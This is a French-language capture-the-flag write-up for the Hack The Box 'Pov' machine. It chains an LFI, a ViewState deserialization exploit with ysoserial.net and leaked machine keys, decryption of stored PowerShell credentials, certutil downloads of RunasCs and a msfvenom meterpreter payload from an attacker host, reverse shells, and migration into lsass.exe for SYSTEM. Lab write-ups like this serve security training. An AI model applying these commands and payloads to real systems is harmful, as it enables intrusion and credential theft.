• Platforme: Hack The Box
  • Lien: Pov
  • Niveau: Moyen
  • OS: Windows

Pov débute par un simple site web. Après l’énumération, nous découvrons un sous-domaine menant à un site web ASP.NET qui s’avère être vulnérable à une faille LFI. En tirant parti de cette vulnérabilité, nous sommes en mesure de lire un fichier critique exposant des informations sensibles que nous utilisons pour exploiter le mécanisme ViewState du site web, ce qui nous donne accès au système cible. Après exploration du système, nous prenons le contrôle d’un autre compte en trouvant ses informations d’identification. Enfin, en abusant du privilège SeDebugPrivileg nous accédons à un compte administratif.

Une machine virtuelle Windows avec Defender désactivé sera nécessaire pour reproduire l’une des étapes de l’article.

IP cible - 10.10.11.251

Scanning

nmap -sC -sV -oA nmap/Pov 10.10.11.251

Résultats

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 14:41 CDT
Nmap scan report for 10.10.11.251
Host is up (0.055s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.01 seconds

Enumération

Pour faciliter l’énumération, nous ajoutons la cible à notre fichier /etc/hosts.

sudo echo "10.10.11.251 pov.htb" | sudo tee -a /etc/hosts

Le scan ne trouve qu’un seul port ouvert (80). En visitant http://10.10.11.251/, nous trouvons un site web statique offrant quelques services de sécurité mais aucune piste d’exploitation.

Pov website

Avec ffuf, nous identifions un sous-domaine.

ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100 -u http://pov.htb -H "Host: FUZZ.pov.htb" -ic -fs 12330

Pov subdomain

http://dev.pov.htb/ mène au portfolio d’un développeur web compétent avec JS, ASP.NET, et PHP.

Pov portfolio website

Nous pouvons télécharger son CV à l’aide du bouton. Nous observons que le paramètre file est utilisé et qu’il fait référence à cv.pdf. Nous pouvons essayer de l’utiliser pour un LFI (Local File Inclusion). Pour en savoir plus sur cette vulnérabilité, cliquez ici .

Pov CV download request

Sous Windows, le fichier hosts se trouve à l’adresse suivante C:\WINDOWS\system32\drivers\etc\hosts.

Pov LFI vulnerability

Nous arrivons à lire ce fichier! Avec l’aide de Wappalyzer nous apprenons que l’application est conçue avec ASP.NET et quelques recherches nous apprennent que web.config est le fichier de configuration « utilisé pour gérer les différents paramètres qui définissent un site web » dans les applications ASP.NET. Pour en savoir plus, cliquez ici .

Pov wappalyzer info

ASP.NET Web config file

Nous parvenons à lire le fichier de configuration en remplaçant la valeur file par /web.config.

Web config file read

En recherchant asp.net machine key exploitation nous trouvons cette page HackTricks expliquant comment utiliser un outil appelé ysoserial.net pour exploiter vIewState.

Sous Testcase 1.5 nous lisons que nous devons fournir deux paramètres --apppath=« / » et --path=« /hello.aspx ».

Nous avons aussi besoin que notre payload soit encodé en base64, ce que nous obtenons sur revshells en utilisant l’option PowerShell #3 (Base64).

Accès initial

ysoserial est conçu pour Windows. Nous utilisons une VM Windows avec Defender désactivé parce qu’il signale l’outil comme malveillant. Après exécution de la commande ci-dessous, nous copions son résultat et nous l’utilisons pour le paramètre ViewState.

Command example

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<INSERT_REVSHELL_HERE>" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"

ViewState Payload

Nous obtenons une connexion sur notre listener après avoir envoyé la requête.

Initial Foothold

Ce compte ne peut pas accéder au fichier user.txt par contre nous trouvons un fichier appelé connection.xml dans C:\Users\sfitz\Documents. Il contient les informations d’identification de l’utilisateur alaading.

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

Nous avons une valeur de mot de passe mais il ne s’agit pas d’un hash, cette méthode utilise un module Powershell qui s’appuie sur XML sécurisé. Pour en savoir plus ici .

Nous révélons le mot de passe avec les commandes ci-dessous.

$cred = Import-CliXml C:\Users\sfitz\Documents\connection.xml

$cred.GetNetworkCredential() | fl

User alaading user

Mouvement latéral

Avec les identifiants, nous pouvons maintenant utiliser RunasCs pour obtenir un shell en tant qu’utilisateur alaading.

certutil est utilisé pour télécharger l’outil sur la cible.

certutil -urlcache -f http://<IP_address>:<PORT>/RunasCs.exe runascs.exe

runascs download

Après avoir exécuté la commande ci-dessous, nous obtenons un shell.

.\runascs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r <IP_address>:<PORT>

alaading shell

Nous trouvons user.txt à l’adresse C\Users\alaading\desktop\user.txt.

Elévation de Privilèges

Nous avons vu que cet utilisateur dispose du privilège SeDebugPrivilege. Selon HackTricks , “ce privilège permet de debugger d’autres processus, y compris de lire et d’écrire dans la mémoire. Diverses stratégies d’injection de mémoire, capables d’échapper à la plupart des antivirus et des solutions de prévention des intrusions, peuvent être employées avec ce privilège”.

Nous commençons par générer un payload avec msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP_address lport=PORT -f exe -a x64 --platform windows -o revshell.exe

Puis nous téléchargeons le fichier sur la cible.

certutil -urlcache -f http://<IP_address>:<PORT>/revshell.exe revshell.exe

reverse shell file

Ensuite, dans Metasploit, nous lançons le mutli/handler, exécutons le fichier revshell.exe sur la cible et nous obtenons une session meterpreter.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost <IP_address>
set lport <PORT>
run

meterpreter session

Avec la commande ps nous examinons les processus sur la cible et nous remarquons lsass.exe. Puisque nous avons le privilège SeDebugPrivilege, nous pouvons migrer vers ce processus.

lsass process

process migration

Nous utilisons shell pour lancer un shell cmd, nous sommes maintenant nt authoritysystem et root.txt se trouve à C:\NUsers\Administrator\NDesktop\Nroot.txt.

Root flag

Une VM Windows est parfois nécessaire pour exécuter certains outils pour les tests de pénétration, je recommande CommandoVM car il est livré avec de nombreux outils qui ne sont pas inclus dans Kali Linux. Vous pouvez suivre cette vidéo pour un tutoriel d’installation. J’espère que cet article vous a été utile !